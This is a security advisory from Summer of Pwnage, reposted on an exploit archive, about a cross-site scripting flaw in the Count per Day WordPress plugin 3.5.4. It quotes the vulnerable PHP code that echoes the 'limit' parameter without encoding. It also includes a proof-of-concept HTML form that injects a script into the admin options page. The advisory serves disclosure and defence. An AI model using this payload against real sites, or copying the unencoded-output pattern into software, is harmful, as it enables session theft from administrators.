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WordPress Count Per Day 3.5.4 Cross Site Scripting

WordPress Count Per Day 3.5.4 Cross Site Scripting
Posted Aug 4, 2016
Authored by Yorick Koster, Securify B.V.

WordPress Count Per Day plugin version 3.5.4 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | d69f6409f9285b4b341d81988998df80a9629b3685c4fee05a3057a084dfc9e1

WordPress Count Per Day 3.5.4 Cross Site Scripting

Change Mirror Download
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Cross-Site Scripting in Count per Day WordPress Plugin
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Yorick Koster, July 2016

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Abstract
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A Cross-Site Scripting vulnerability was found in the Count per Day
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

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OVE ID
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OVE-20160724-0024

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Tested versions
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This issue was successfully tested on Count per Day WordPress Plugin
version 3.5.4.

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Fix
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This issue is resolved in Count per Day version 3.5.5.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html

This issue exists in the file counter-options.php and is caused due to the lack of output encoding on the limit POST parameter.

<?php // mass bots ?>
<div class="postbox">
<?php
$limit = (isset($o['massbotlimit'])) ? $o['massbotlimit'] : 25;
$limit = (isset($_POST['limit'])) ? $_POST['limit'] : $limit;
$limit_input = '<input type="text" size="3" name="limit" value="'.$limit.'" style="text-align:center" />';

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php" method="POST">
<input type="hidden" name="limit" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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